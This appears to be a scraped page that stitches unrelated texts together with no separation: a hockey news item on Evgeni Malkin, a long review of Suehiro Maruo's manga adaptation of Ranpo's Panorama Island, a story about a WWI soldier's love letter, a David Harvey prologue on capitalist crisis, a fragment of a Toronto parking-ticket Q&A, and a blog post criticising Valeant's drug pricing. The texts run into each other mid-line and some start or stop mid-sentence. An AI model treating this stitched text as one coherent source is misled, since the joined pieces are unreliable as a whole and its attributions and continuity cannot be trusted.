After missing a chunk of camp due to injury, forward Evgeni Malkin (left) returned to action in the Penguins’ season-opening 6-4 win over Anaheim on Thursday. Coach Mike Johnston moved Malkin from his normal centre position to the wing on a line with Brandon Sutter and Pascal Dupuis, a unit that likely will remain intact when Pittsburgh meets the Leafs on Saturday.
“I didn’t play well,” Malkin said Friday. “It was hard, I’m not in the shape I want to be. But it was the home opener. I needed to play. Because when you haven’t played in a while, it’s different. Practice isn’t the same as playing in games.”
The Pens will stay in T.O. through Thanksgiving weekend before leaving on Monday.A review of Suehiro Maruo’s adaptation of Edogawa Ranpo’s The Strange Tale of Panorama Island
Synopsis (spoilers throughout)
An unsuccessful author named, Hitomi Hirosuke, has visions of creating the ultimate work of art, a Utopian panorama of existence. He hatches a plan to impersonate a university friend (a millionaire named Genzaburo Kodoma) who is not only his physical twin but who has also recently expired due to a seizure (epileptic in the novella, asthmatic in the manga). Hirosuke first feigns his own suicide, then digs up his friend’s grave, disposes of the corpse, and presents himself as a risen victim of an unintended live burial (he is initially mute in the novel but is completely articulate in the manga).
Over the next few months, he manages to seize control of the Kodoma empire and initiates his plan to build his Utopian society—Panorama Island. The only person who suspects his dissemblance is his wife, Chiyoko. He is drawn to her but also finds her unworthy of his attentions (and possibly dangerous) in view of his greater project. He soon decides that he must kill her. Hirosuke arranges for them to travel to the island when it is near completion, and in an extended passage presents her with its wonders. Torn between the life of vulgarity and excess he has created and his strange attraction to Chiyoko, he finally strangles her and buries her remains on an island resembling Böcklin’s Isle of the Dead (a concrete cylinder in the novella). He hides her disappearance and continues a decadent life style on the island, exhausting the Kodoma fortune before finally being confronted with his misdeeds.
* * *
Suehiro Maruo has long been held to be one of the masters of the Japanese “underground” ever since his introduction to American audiences in Comics Underground Japan (ed. Kevin Quigely). His “Planet of the Jap” from that collection is a violently ironic tale of the Japanese conquest of the United States. Propagandistic slogans (lifted from educational songs) proclaiming the superiority of the Japanese race are presented alongside images showing the brutalization of American women. In his compendium of ero-guro tales, Ultra-Gash Inferno, Maruo offers depravity as the only solace for humanity.
We find these aspects of Maruo’s artistry straining for release in all corners of The Strange Tale of Panorama Island (1926-27). The manga is an adaptation of Edogawa Ranpo’s novella of the same name. Ranpo (the pseudonym of Hirai Taro) was one of the key figures in Japanese mystery fiction but his novella (recently released in a new English translation by Elaine Kazu Gerbert) is less concerned with crime then with modern mechanistic entertainments (the panorama and the cinema), the siren call of art, and the obscene depths of the human soul. Ripe ground then for Maruo and not for the first time. His story, “Putrid Night” (1981, collected in Ultra-Gash Inferno) is clearly a bestial homage to Ranpo’s famous anti-war story, “The Caterpillar” (1929). The story concerns a quadruple amputee (“a large, living parcel wrapped in silken kimono”) tended to by his long suffering wife. Not only does the text deny (with a kind of black humor) anything to do with the glory and honor of war but, for the purposes of this review and as a reflection of a common theme which will soon become clear, Ranpo writes the following concerning the wife:
“…like two animals in a caged in a zoo, they pursued their lonely existence…her crippled husband’s greed had infected her own character to the point where she too had become extremely avaricious…[she] also managed to find a secondary source of pleasure in tormenting this helpless creature whenever she felt like it. Cruel? Yes! But it was fun—great fun!”
As with the short homage by Maruo, it should be made clear that the manga being reviewed isn’t a completely faithful transcription of Ranpo’s Panorama Island. In many ways, it is a rather different object. Certainly the sequence of events and the skeleton of the plot remain largely intact but there is a distinct difference in emphasis between manga and novella. Read in isolation, the manga overwhelms with its Caligulan decadence and florid imagery. Read alongside the prose work, it shows a preference for narration and wonder over psychological and philosophical depth.
The dream sequence which opens the manga sees Hitomi Hirosuke imagining the strange vistas that will fill his novel, “The Story of RA,” and eventually his creations on Panorama Island. The manuscript which ensues is submitted to an editor and the conversation he has with him replaces the internal monologue which fills the first part of the novella. The stuff of captions not being much in favor in manga publishing, the internal musings and meanderings of the protagonist’s mind in Ranpo’s prose are largely made flesh through conversation and suggestion in the manga.
This alteration plays down the deus ex mechina ending of the prose work where the protagonist is confronted by a manuscript and an editor-detective which the readers have not hitherto been apprised of. In fact, Hitomic Hirosuke’s surprise at being confronted with “The Story of RA” at the end of the novella is as absolute as the reader’s. Ranpo submits this final chapter—this unwinding of deception and evil—with an air of knowing and fatalistic resignation:
“Reader should we here announce the happy ending of this fairy tale? Could Genzaburo Komoda, who was actually Hitomi Hirosuke, continue to immerse himself in the pleasures of this extraordinary land of panorama like this until he was one hundred year old? No, no, not at all. After all, it’s the pattern of in old-fashioned tales that right after the climax an intruder bearing a “catastrophe” is always on hand.”
As Gerbert (Ranpo’s translator) explains, this has everything to do with Ranpo’s predilections—his fascination with the kineoramas of time past and his desire to recreate these childish amusements:
“… a taste for playacting and theater animates [Ranpo’s] stories. They are often presented as if on a stage, with a dramatic buildup leading to a surprise ending that is presented abruptly, as if to the clatter of wooden stage clappers signaling the finale of a show.”
The dream sequence which opens the manga also makes flesh the mysteries with which Ranpo will later titilate his readers. One might say it almost circumvents the awe readers are meant to feel as Hirosuke (disguised as Genzaburo) leads his wife through the nearly finished island of his dreams; this surprise being a part of that darkened space before entering a room filled with the panoramas Ranpo is recreating, a form of entertainment which reached its height in the early 19th century in Japan—a tradition re-enacted today in movie theaters and amusements parks throughout the world.
This final unveiling of the villain seems almost a secondary concern, as is the actual construction of Panorama Island which Ranpo dismisses in the course of a single paragraph:
“Thus a whole year of struggle in every sense went by. To speed up the telling of this story, I’ll leave it to you readers to imagine the troubles Hirosuke experienced…[ ]…I’ll just say that in the face of the power of money the word ‘impossible’ does not exist, and leave it at that.”
This may have been a side effect of the stories original serialization but this giant ellipsis is filled up quite thoroughly by Maruo in imagined scenes of construction and the hiring of specific workers for the island amusement. In so doing, the narrative threads are closed tight, the act of creation emphasized over psychological intensity and dread.
“…no such combination of scenery exists in nature as the painter of genius may produce. No such paradises are to be found in reality as have glowed on the canvas of Claude. In the most enchanting of natural landscapes, there will always be found a defect or an excess- many excesses and defects. While the component parts may defy, individually, the highest skill of the artist, the arrangement of these parts will always be susceptible of improvement.”
The Domain of Arnheim (1846) by Edgar Allan Poe
In the novella, the author is almost at pains to reveal the antecedents of his work; not only Edgar Allen Poe’s “The Domain of Arnheim” which provides inspiration for the descriptive flourishes in the work but also the Utopias imagined by writers and artists over the centuries; societies which have not only been expressions of human yearning but an unguarded divulgement of the creator’s ethics and desires. These utopias have rarely been places of “ideal perfection“, all too often embodying the stuff of nightmares. The only correct modern reaction befitting Thomas Moore’s “first” Utopia might be one of horror and perhaps recognition for it was a state of slavery, territorial confinement, and unapologetic expansion as dictated by the purely selfish motives of population growth and the aura of superiority of its leaders.
As Gerbert tells us in her introduction, the protagonist’s own name (Hitomi Hirosuke) is a play on the Japanese characters meaning “person” (hito) and “see” (mi) as well as “wide” (hiro). This is a counterpart to the meaningful names given by Moore to his characters in Utopia. In fact, the first fifth of the novella dwells extensively on Hirosuke’s tortured idealism, a burnished twin of his final descent into iniquity. Manchuria (latter day Korea) was just such a dreamworld brimming with promise—an undiscovered country conquered, colonized, and transformed following the First Sino-Japanese War. Gerbert notes the public fascination with that land at the time of the work’s serialization:
“Ranpo, in his novella, transformed the expansionist vision of Manchuria into a literal panorama spectacle, complete with a ‘gory battle frightening to behold.’ As few other Japanese writers managed to do, he conveyed the way in which mechanized visions of the twentieth century fed dreams of greatness, and how those dreams might lead to destruction and death.”
The most famous Panorama–kan was located in Asakusa and destroyed in the Great Kanto Earthquake of 1923. In The Edogawa Rampo Reader, Seth Jacobwitz describes Asakusa as:
“…a famously disreputable and squalid place even before the hard economic times brought on by Japan’s increased militarism and the Great Depression…for Rampo these were not only locales where tradition butted up against modernity, or high culture encountered low, but contact zones where the firm lines separating the quotidian, bourgeois realities of daily life from the the realm of dreams and unconscious desires terrifyingly blurred and disappeared.”
Maruo transcribes both the mechanistic fantasies—the “dream machines that produce nothing”—and the Manchurian wonderland ripe for harvesting in the climax of the manga. It is in such scenes that the comic excels, making tangible the half imagined; not only placing Hirosuke in the banal depravity of a prostitute’s den and the rigid conformity and poverty of early 20th century Japan but opening our eyes to the unbridled fantasies of capitalistic excess.
If the protagonist (in the novel) had once declared an admiration for William Morris’ socialist utopia, then these feelings have been utterly suppressed by rampant greed and an egoistic gluttony. The novella is littered with instances of Hirosuke’s hypocrisy, on the one hand suggesting a preference for Morris’ socialist News from Nowhere and then dismissing the young peasants who discover him in his feigned helplessness (i.e. as a recently “resurrected” Komoda) as a bunch of foolish simpletons:
“He became aware that he was being stared at like some unusual sideshow attraction by sniveling, runny-nosed children with peasant faces, and as he visualized the comical scene, he grew all the more anxious and angry…He couldn’t help despairing. He couldn’t very well get up and scold them…The whole thing seemed so stupid that he felt like dropping everything and getting up in front of the children and exploding in laughter.”
A situation played for humor and irony since he very nearly comes from the same stock and is inserting himself into the highest level of Japanese society
One would expect the sybaritism and licentiousness of Ranpo’s tale to be of primary interest to Maruo and this is very much the case. While Maruo excises Ranpo’s improbable image of the happy couple straddling naked servants in the guise of swans, their thighs chaffing against naked flesh as they navigate a man-made river (perhaps this was considered too fantastic), he is altogether more relentless in depicting Hirosuke’s panorama of nudity and libido.
In the manga, sex becomes an indelible counterpart to artistic intent from the outset, in fact it becomes a presentiment of death (note the Death’s-head Hawkmoth beside the prostitute in the image below). Hirosuke’s dalliances with prostitutes precede an encounter with Genzaburo’s wife whom he fixates on. He seems almost struck with lust at the sight of her and almost immediately put his plan of deception into action. This scene doesn’t occur anywhere in the novella. Where Ranpo posits artistic desire and greed as the primary motives, Maruo suggest base sexual appetite as an equal accomplice.
What lies under the surface of Ranpo’s novella is given physical form in the manga. The protagonist of Maruo’s adaptation is vigorous and voracious in his relations with his wife, hardly fearing discovery (and that is exactly what happens in their first encounter): Ranpo’s Hirosuke, in contrast, is characterized by a calculated celibacy, an enforced impotence—a manifestation of his artistic obsession. He abstains absolutely from his wife, ostensibly to avoid detection during intimate contact but inadvertently reveals himself in some unknown way during a drunken stupor. Some bodily deformity or defect of a more sexual nature finally reveals him as an impostor to Chiyoko. The passage in question is left intentionally ambiguous by the author:
“Just seeing her eyes, he understood everything. A distinctive part of his body had been different from the dead Genzaburo’s, and Chiyoko had discovered it the night before.”
Whether this is as simple as Maruo’s mole (see image above) or something of a more sexual nature is anyone’s guess. When Hirosuke finally strangles his wife under an orgasm of thunderous fireworks, it seems almost like a case of erotic asphyxiation. He buries her in an unfinished black pillar (in the novella)—a rather heavy handed symbol of his sexual inadequacy—pouring wet cement over her corpse but leaving tell-tale strands of her hair sticking out of the final stiffened mix. This inescapable, almost fatalistic, sloppiness is the final evidence needed for his exposure as a fake and a murderer.
If Poe’s (of whom Ranpo was a great admirer) taphephobia is counterintuitively a longing for the womb, then Hirosuke’s escape from the tomb is the obverse of this situation—a desire for release from sexual repression and the attainment of romantic gratification. Chiyoko is the stye in his eye which once removed results in unbridled carnality.
Comics as a form has a way of making obvious the carefully hidden aspects of pure prose but Maruo exacerbates this aspect by insistently giving play to Hirosuke’s licentious feelings and actions. One should also consider the demands on visual imagery in modern day horror fantasies; more precisely, an upping of the ante with each passing year. The prose work is characterized by gruesome detail at precise moments, especially where Ranpo dwells in loving detail on the disinterment of the deceased Komoda which the protagonist plans to impersonate:
“Strangely, he realized that Komoda’s mouth was stretched to a size of ten times larger than it had been while he was still alive. It was open to the point where the back teeth were completely exposed as in the mask of an open-mouthed female demon…[ ]…Although he tried, again and again, to lift Komoda’s decomposing body, it slipped off his fingers each time…When he finished the job, the fine skin of the dead body clung tightly to the palms of his hands, like gloves made of jellyfish, and wouldn’t come off no matter how vigorously he shook his hands.”
Here Hirosuke’s encasement in the decaying skin becomes a metaphor for his own duplicity which soon takes on the decomposition of a rotting carcass. Yet Maruo eschews this, instead presenting readers with an even more violent and improbable episode where he extracts his own incisor with his fingers to mimic the dead Komoda.
This is not to say that the manga is without moments of insight, subtlety, and interpretation. The glorious spectacles which Maruo reimagines and illustrates towards the close of his comic represent a high point in his cultivated debauchery. At a deeper and more sophisticated level, as the couple travel to the island, Maruo presents his readers with a scene which does not appear in the novella:
A Japanese battle flag is painted on the side of the steamer, and a fly occupies the center of the page. The latter is a note of corruption and a presentiment of the heroine’s death. It is also silent commentary on the direction the Japanese nation soon will take in its search for power, resources, and hegemony. In this Maruo adds an additional layer of meaning to Ranpo’s text, one gleaned from the passage of several decades since the book’s publication; decades filled with horrors perpetrated and suffered by the Japanese state. He forces a comparison between the pure and beautiful Chiyoko (that essential soul of the Japanese people) and her final fate at the hands of a madman.
Where Ranpo spends several paragraphs describing the push and pull of Hirosuke’s obsession with Chiyoko, Maruo allows the persistent image of a Noh mask (depicting a young woman) to haunt him throughout the palatial surroundings of his new home—both a proxy for the visage of Chiyoko and an echo of the body he has disinterred
This is encapsulated in an exquisite page where Chiyoko first looks weary and frustrated, and then, with barely bridled longing, out at the reader (just like the subtle head positioning of a Noh actor; see above). A silent cicada crawls down the edge of the frame—both a sign of resurrection and of impending sexual ecstasy.
Throughout her tour of Panorama Island, Chiyoko is at once attracted, repulsed, and seduced by all that she sees. She is of no stable state of mind. A critical point in the book is reached when Chiyoko sees a monster “plowing its way through the bubbles” towards her position in an undersea tunnel.
“She felt as if she were being pulled by a magnet. She didn’t have the strength to move away…it looked as if the monster was all head. Its mouth opened just above its short legs, and its small eyes resembling those of an elephant adjoined the protuberances on its back. Its rough and uneven skin was covered with a multitude of bumps topped by ugly black spots.”
It turns out to be nothing more than a “frogfish” magnified through the glass of the tunnel. The monster is the outward expression of Hirosuke’s soul, kept hidden for fear of discovery by his friends and relatives—a natural manifestation of the protagonist’s perfidious character. Chiyoko’s immediate revulsion and then attraction to the sight of this twisted shape is the irresistible yet fatal call of the abyss of technological accomplishment.
This section of the novella is altered in Maruo’s adaptation—no longer stressing the personal excrescence of the protagonist but giving us a tentacled monster with Chiyoko at its heart, perhaps even covering its vaginal maw.
Where Ranpo’s work alludes to a personal and artistic failing, Maruo highlights the contamination brought forth by modernity.
All this suggests that the correct approach to The Strange Tale of Panorama Island would be to first read the manga and then the novel which in many ways is more lurid and certainly more cerebral. In this it reminds me of Fritz Lang’s The Ministry of Fear which while enjoyable in itself suffers from a lack of logical progression and, ultimately, depth of meaning when compared to the Graham Greene novel of which it is an adaptation. The forms and settings of Panorama Island take shape with Maruo’s pictorial representations, sometimes sticking in the mind with their magnificent flourishes, at other times losing in translation that prescient, alluring, and terrible picture of a nation falling into the inferno.
Further Reading
A review by Sam Costello at Full Stop.After being hidden for nearly 65 years, one of the First World War’s most touching and poignant love stories was unravelled by Forces War Records Tom Bennington. The letter, sent in by a member, held fascinating answers to one couple’s quest to uncover their family history. When Tom first heard about the letter, he said: “In spite of being a professional military historian, scouring records every day, I hadn’t been overly touched by the emotion of the war before, but on reading Frederick’s heartfelt words, I found myself empathising deeply with these men. They were everyday young chaps with a life and loved ones, a family, wife, girlfriend, children, mother and father all left behind at home.”
For some months, Roger Potts and is wife Jenny Fenton, had been trying to trace the story of his grandfather, Frederick Swannell. Although they had scant details about his Great War; just his name and army number, there was one additional item they felt might yield some clues. It was a fragile and fading love letter written by the lance corporal to his beloved wife Ellen (Nell). A letter that says so much more than a photograph ever could.
Roger’s mother had chanced upon it following the 98 year old widow’s death in 1981. She’d found it tucked away in Nell’s handbag. The grieving widow had carried it with her every single day after Frederick’s tragic death in the trenches in 1917. So touched were the family with this discovery that they placed the original alongside Nell in her sealed coffin, but kept a copy as a keepsake and reference.
The beautifully scripted letter spoke volumes about the personal cost of the war and the terrible physical and mental toll of trench warfare. This was a war that soldiers had grown sick of not simply from the terrifying bombardments, but the stench, mud and disease. Lance Corporal Swannell was clearly most fearful that he would never return home to his adored wife and five small children.
Frederick and Nell had a son also named Frederick and four small daughters: Ellen, twins Elizabeth and Emily, and Charlotte. Frederick Swannell Junior was known to live with his grandparents due to a busy home life and the logistics of looking after four girls of a similar age.
From the few factual details contained within the letter of name, rank and service number, FWR researcher Tom Bennington was able to trawl the website’s documents and data and fill in the story’s gaps: Frederick’s age at death, where he died and further detail about his unit. And there was more: he revealed that Lance Corporal Swannell, a French polisher in civilian life, had become part of the 6th Brigade of the 2nd Infantry Division who defended Oppy Wood during the Battle of Arleux, France (April and May 1917).
He explained that this heavily strategic battle began in a snowstorm and was soon known as the greatest killing battle of the war, with a daily casualty rate of 4,076.
On 28 April 1917, eight days into the military operation, and aged just 35, Frederick was declared missing, presumed killed. In total, 158,000 British and Commonwealth troops were injured or killed during the battle, when trying to break through the German defences.
Tom was also able to let Roger and Jenny know that Frederick is remembered at the Arras memorial, in the Faubourg-d'Amiens Cemetery – and that his name was recorded on the roll of honour in bay seven of the Memorial in the Pas de Calais. The monument commemorates 34,785 United Kingdom, South African and New Zealand soldiers, with no known grave; all of whom died in the Arras sector between spring 1916 and 7 August 1918.
Jenny commented: “Every time my husband and I read Frederick’s letter it brings a lump to our throats and tears to our eyes. It vividly illustrates the horror of his life at the front and of his desperate wish to be home with his young family.
“We want to share the story so people are aware of the terrible times these brave young men lived through.”
A transcription of the letters:
L/Cpl F Swannell
17549
13th Essex Regiment
B E F France My Dear Darling Nell I am writing these lines hoping to find you and all our dear little ones in the very best of health. I am very sorry to know that you have not been getting much news from me but love I write to you all I can. At present the conditions we are now in we do not get much chance of writing any letters. Well love my foot is progressing very slowly but lately I have been very bad in health for the conditions I have had to go through out here is gradually telling upon my constitution for I reckon I have stood it well up till now but I feel as I am getting beaten. Oh love how I wish that this terrible anxiety and suspense was over for I do long to be with you and our dear little ones who are continually in my mind. It is as you state in your letter, it is a shame we should be parted for such a long time and I have done over my bit as you know, but it seems no matter how long or what you have been through out here they are never done with you. The men we have got with us now have only been out here two months and they have done nothing or been through anything yet but they are continually grousing and fed up with it. They have been forced to join the army so you can guess what they are like. Well love let us put the troubles aside and hope for a peaceable time for us both and all, for if I am lucky enough to get through it alright I hope to have a happy and loving life with you and our dear little ones for you know I love you and I always will and I know you do me for you have proved it with my little ones. Well love this is all at present with my very best love to you and my little ones. I am your ever loving husband Fred Swannell. Kisses for you love and my little ones. xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Love you all
Discover more about your ancestor with the help of Forces War Records' experts. Our photo expert team can uncover the secrets of your ancestor pictured in uniform:This is an excerpt from the prologue of David Harvey’s forthcoming book, Seventeen Contradictions and the End of Capitalism, to be published by Profile Books in the UK and Oxford University Press in the US (April 2014).
Crises are essential to the reproduction of capitalism. It is in the course of crises that the instabilities of capitalism are confronted, reshaped and re-engineered to create a new version of what capitalism is about. Much gets torn down and laid waste to make way for the new. Once-productive landscapes are turned into industrial wastelands, old factories are torn down or converted to new uses, working-class neighbourhoods get gentrified. Elsewhere, small farms and peasant holdings are displaced by large-scale industrialised agriculture or by sleek new factories. Business parks, R&D and wholesale warehousing and distribution centres sprawl across the land in the midst of suburban tract housing, linked together with clover-leafed highways. Central cities compete with how tall and glamorous their office towers and iconic cultural buildings might be, mega-shopping malls galore proliferate in city and suburb alike, some even doubling as airports through which hordes of tourists and business executives ceaselessly pass in a world gone cosmopolitan by default. Golf courses and gated communities pioneered in the USA can now be seen in China, Chile and India, contrasting with sprawling squatter and self-built settlements officially designated as slums, favelas or barrios pobres.
But what is so striking about crises is not so much the wholesale reconfiguration of physical landscapes, but dramatic changes in ways of thought and understanding, of institutions and dominant ideologies, of political allegiances and processes, of political subjectivities, of technologies and organisational forms, of social relations, of the cultural customs and tastes that inform daily life. Crises shake our mental conceptions of the world and of our place in it to the very core. And we, as restless participants and inhabitants of this new emerging world, have to adapt, through coercion of consent, to the new state of things, even as we, by virtue of what we do and how we think and behave, add our two cents’ worth to the messy qualities of this world.
In the midst of a crisis it is hard to see where the exit might be. Crises are not singular events. While they have their obvious triggers, the tectonic shifts they represent take many years to work out. The long-drawn-out crisis that began with the stock market crash of 1929 was not finally resolved until the 1950s, after the world had passed through the Depression of the 1930s and the global war of the 1940s. Likewise, the crisis whose existence was signalled by turbulence in international currency markets in the late 1960s and the events of 1968 on the streets of many cities (from Paris and Chicago to Mexico City and Bangkok) was not resolved until the mid-1980s, having passed through the early 1970s collapse of the Bretton Woods international monetary system set up in 1944, a turbulent decade of labour struggles in the 1970s and the rise and consolidation of the politics of neoliberalisation under Reagan, Thatcher, Kohl, Pinochet and, ultimately, Deng in China.
With the benefit of hindsight it is not hard to spot abundant signs of problems to come well before a crisis explodes into full view. The surging inequalities in monetary wealth and incomes of the 1920s and the property market asset bubble that popped in 1928 in the USA presaged the collapse of 1929, for example. Indeed, the manner of exit from one crisis contains within itself the seeds of crises to come. The debt-saturated and increasingly deregulated global financialisation that began in the 1980s as a way to solve conflicts with labour by facilitating geographical mobility and dispersal produced its denouement in the fall of the investment bank of Lehman Brothers on 15 September 2008.
It is, at the time of writing, more than five years since that event, which triggered the cascading financial collapses that followed. If the past is any guide, it would be churlish to expect at this point any clear indications of what a revivified capitalism — if such is possible — might look like. But there should by now be competing diagnoses of what is wrong and a proliferation of proposals for putting things right. What is astonishing is the paucity of new thinking or policies. The world is broadly polarised between a continuation (as in Europe and the United States) if not a deepening of neoliberal, supply-side and monetarist remedies that emphasise austerity as the proper medicine to cure our ills; and the revival of some version, usually watered down, of a Keynesian demand-side and debt-financed expansion (as in China) that ignores Keynes’s emphasis upon the redistribution of income to the lower classes as one of its key components. No matter which policy is being followed, the result is to favour the billionaires club that now constitutes an increasingly powerful plutocracy both within countries and (like Rupert Murdoch) upon the world stage. Everywhere, the rich are getting richer by the minute. The top 100 billionaires in the world (from China, Russia, India, Mexico and Indonesia as well as from the traditional centres of wealth in North America and Europe) added $240 billion to their coffers in 2012 alone (enough, calculates Oxfam, to end world poverty overnight). By contrast, the well-being of the masses at best stagnates or more likely undergoes an accelerating if not catastrophic (as in Greece and Spain) degradation.
The one big institutional difference this time around seems to be the role of the central banks, with the Federal Reserve of the United States playing a leading if not domineering role on the world stage. But ever since the inception of central banks (back in 1694 in the British case), their role has been to protect and bail out the bankers and not to take care of the well-being of the people. The fact that the United States could statistically exit the crisis in the summer of 2009 and that stock markets almost everywhere could recover their losses has had everything to do with the policies of the Federal Reserve. Does this portend a global capitalism managed under the dictatorship of the world’s central bankers whose foremost charge is to protect the power of the banks and the plutocrats? If so, then that seems to offer very little prospect for a solution to current problems of stagnant economies and falling living standards for the mass of the world’s population.
There is also much chatter about the prospects for a technological fix to the current economic malaise. While the bundling of new technologies and organisational forms has always played an important role in facilitating an exit from crises, it has never played a determinate one. The hopeful focus these days is on a ‘knowledge-based’ capitalism (with biomedical and genetic engineering and artificial intelligence at the forefront). But innovation is always a double-edged sword. The 1980s, after all, gave us deindustrialisation through automation such that the likes of General Motors (which employed well-paid unionised labour in the 1960s) have now been supplanted by the likes of Walmart (with its vast non-unionised low-wage labour force) as the largest private employers in the United States. If the current burst of innovation points in any direction at all, it is towards decreasing employment opportunities for labour and the increasing significance of rents extracted from intellectual property rights for capital. But if everyone tries to live off rents and nobody invests in making anything, then plainly capitalism is headed towards a crisis of an entirely different sort.
It is not only the capitalist elites and their intellectual and academic acolytes who seem incapable of making any radical break with their past or defining a viable exit from the grumbling crisis of low growth, stagnation, high unemployment and the loss of state sovereignty to the power of bondholders. The forces of the traditional left (political parties and trade unions) are plainly incapable of mounting any solid opposition to the power of capital. They have been beaten down by thirty years of ideological and political assault from the right, while democratic socialism has been discredited. The stigmatised collapse of actually existing communism and the ‘death of Marxism’ after 1989 made matters worse. What remains of the radical left now operates largely outside of any institutional or organised oppositional channels, in the hope that small-scale actions and local activism can ultimately add up to some kind of satisfactory macro alternative. This left, which strangely echoes a libertarian and even neoliberal ethic of anti-statism, is nurtured intellectually by thinkers such as Michel Foucault and all those who have reassembled postmodern fragmentations under the banner of a largely incomprehensible post-structuralism that favours identity politics and eschews class analysis. Autonomist, anarchist and localist perspectives are everywhere in evidence. But to the degree that this left seeks to change the world without taking power, so an increasingly consolidated plutocratic capitalist class remains unchallenged in its ability to dominate the world without constraint. This new ruling class is aided by a security and surveillance state that is by no means loath to use its police powers to quell all forms of dissent in the name of anti-terrorism.
It is in this context that I have written Seventeen Contradictions and the End of Capitalism. The mode of approach I have adopted is somewhat unconventional in that it follows Marx’s method but not necessarily his prescriptions and it is to be feared that readers will be deterred by this from assiduously taking up the arguments here laid out. But something different in the way of investigative methods and mental conceptions is plainly needed in these barren intellectual times if we are to escape the current hiatus in economic thinking, policies and politics. After all, the economic engine of capitalism is plainly in much difficulty. It lurches between just spluttering along and threatening to grind to a halt or exploding episodically hither and thither without warning. Signs of danger abound at every turn in the midst of prospects of a plentiful life for everyone somewhere down the road. Nobody seems to have a coherent understanding of how, let alone why, capitalism is so troubled. But it has always been so. World crises have always been, as Marx once put it, ‘the real concentration and forcible adjustment of all the contradictions of bourgeois economy.’ Unravelling those contradictions should reveal a great deal about the economic problems that so ail us. Surely that is worth a serious try.
It also seemed right to sketch in the likely outcomes and possible political consequences that flow |
with an independent council-appointed hearing officer of the administrative penalty tribunal. The hearing officer’s decision is final. The vehicle owner can authorize someone else to act on their behalf, including a lawyer, a licensed paralegal or person authorized under the Law Society Act.
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Motorists who drive away while a parking enforcement officer is writing the ticket will now still get it, via the mail. Any other benefits as a result of the new system? The new process will allow the public to dispute a parking violation in a way that is faster, easier and more convenient for them — online or in-person, through scheduled appointments or by drop-in. This process will give individuals faster resolutions and free up the provincial court system to deal with more serious matters. The city has had to hire staff and set up a new system. How much will the administrative penalty system the city, both in terms of capital and operating expenses, versus the current system? The city is committed to delivering public service in a way that is efficient and effective. The new parking violation dispute process will be staffed with existing city resources at this time. However, 25 hearing officers for the independent administrative penalty tribunal were appointed by city council earlier this year. There will be a period where the city will be running both a court-based system to process tickets issued before Monday alongside the new system which will process all parking violations issued from Monday onwards. Based on initial projections in the staff report to council, upon full implementation of the new system, there are estimated potential savings of approximately $2.8 million annually. The city currently spends approximately $65.7 million annually on parking enforcement and the processing of parking tickets. Upon full implementation, the new APS system is projected to reduce this to $62.9 million. What is the expectation in terms of how many tickets will be written, and how much revenue earned from them by the city, once the new system is full in place?
As the offence types and fine levels won’t change, it is not expected that the volume of tickets issued will change significantly. There are a number of factors that may influence how many tickets are issued, including driver behaviour, enforcement activity, etc. Based on initial projections, upon full implementation in 2018, the new system is expected to increase gross revenues from $102.4 million to $108.7 million, reflecting an increase of $6.3 million. The penalty amounts associated with parking offence types remain unaffected in the new system. However, there are additional fees which the city will be able to impose for individuals who do not pay their parking violation notices on-time as well as for individuals who fail to attend a booked screening review appointment with a city screening officer or a hearing review with an administrative penalty tribunal hearing officer. This interview was edited for clarity and brevity.The pharmaceutical industry has long enjoyed very generous government support, yet over the last two decades has taken to putting profits (meaning CEO and C-level bonuses) over combatting disease. Drug companies in the US benefit from decades of large-scale research and development by the National Institutes and Health and other Federal agencies. They also get R&D tax credits that to a large degree represent an acceleration of tax break for the expected future profits. Yet when those profits actually show up, they shift them offshore to avoid paying taxes in the US.*
And let us remind you that it not the responsibility of corporate executives; the “maximize shareholder value” theory of governance was made up by economists and does not have a legal foundation (see here for a longer discussion). And even if that were the case, actually trying to achieve that goal is counterproductive. As John Kay of the Financial Times explained in a 2004 article, and expanded in his book Obliquity, in complex systems, attempting to chart a straightforward path to a goal typically fails. Why? We don’t understand the system well enough to define an efficient way through it. For instance, a study that paired companies in a series of industries, one that chose complex and aspirational goal versus ones that set out to “maximize shareholder value,” found that in every case, the company with richer and loftier objectives performed better than its counterpart.**
One of the poster children for anti-social conduct by Big Pharma is Valeant, which is basically an up-market version of Martin Shkreli, a patent troll whose main method of “adding value” has been to buy drug businesses and jack up prices. A post yesterday at Business Insider recaps some of the high points of the well-warranted consternation over Valeant’s practices:
Valeant’s stock has fallen over 85% in the last year, in part because of scrutiny over its pricing practices. The House of Representatives is investigating the company for jacking up the prices of two heart medications over 200% and 500% respectively. Hillary Clinton has called out the company in her campaign videos, and the Senate has gone after the company for this practice as well. This issue, combined with accounting issues, forced the company to say that it would change its business model, and rely on sales volume to generate revenue last December. It also said it would cut some prices — just some. Either way, the market isn’t convinced, and some analysts say that Valeant will never be what it once was because without the ability to jack up prices of the drugs that it acquires. See, Valeant doesn’t really do its own research and development. It only spends about 3% of revenue on that, while its peers spend average of about 13% on it.**
Business Insider also pointed out:
Valeant Pharmaceuticals doubled the price of a drug called Seconal, which helps terminally ill patients end their lives peacefully, according to a report from KQED News. Valeant purchased the drug last February, and jacked up the price from $1,500 to $3,000 after the state of California proposed legalizing assisted suicide.
The KQED report states that Seconal is an 80 year old drug.
John Gapper put the spotlight on the connection between the consulting firm McKinesy and Valeant today in McKinsey’s fingerprints are all over Valeant:
Valeant’s downfall is not exactly McKinsey’s fault but its fingerprints are everywhere. Half of its six-person senior executive team formerly worked at McKinsey, including Michael Pearson, its chief executive, and Robert Rosiello, its finance director. So did Ronald Farmer, the director who chairs its “talent and compensation” committee, which temporarily transformed Mr Pearson into a billionaire…. Like Enron’s “asset-light” strategy of trading power rather than owning power plants, Mr Pearson brought a consultant’s clinical eye to pharma. He despised costly research (“Be prudent about investing ahead of need — curse of the industry” was one motto), preferring to acquire proven drugs and raise prices. No one did this more abruptly than Mr Pearson: “Our strategy is basically the education I had through McKinsey,” he said in 2014. He turned Valeant into a hyperactive acquisition vehicle, which not only benefited Wall Street banks but consulting firms for whom post-merger integration work is a labour-intensive, high-margin operation.
But what I find most damning is Gapper’s throwaway observation:
McKinsey provided the intellectual underpinning for pharma companies to rethink radically in the mid-2000s, when drugs pipelines seemed to have dried up and research productivity fell. As the firm’s partners concluded repeatedly in calling for “a bolder, more radical approach to Big Pharma’s operating model”, boards and executives had to alter course and cut costs.
And Pearson put that into place not only at Valeant, but for years before that as the head of its global pharmaceuticals practice. Even though drug companies have very handsome cash flows, they now prefer to leave the hard work of discovering new drugs to smaller players like biotech companies,**** snapping them up if they make a breakthrough.
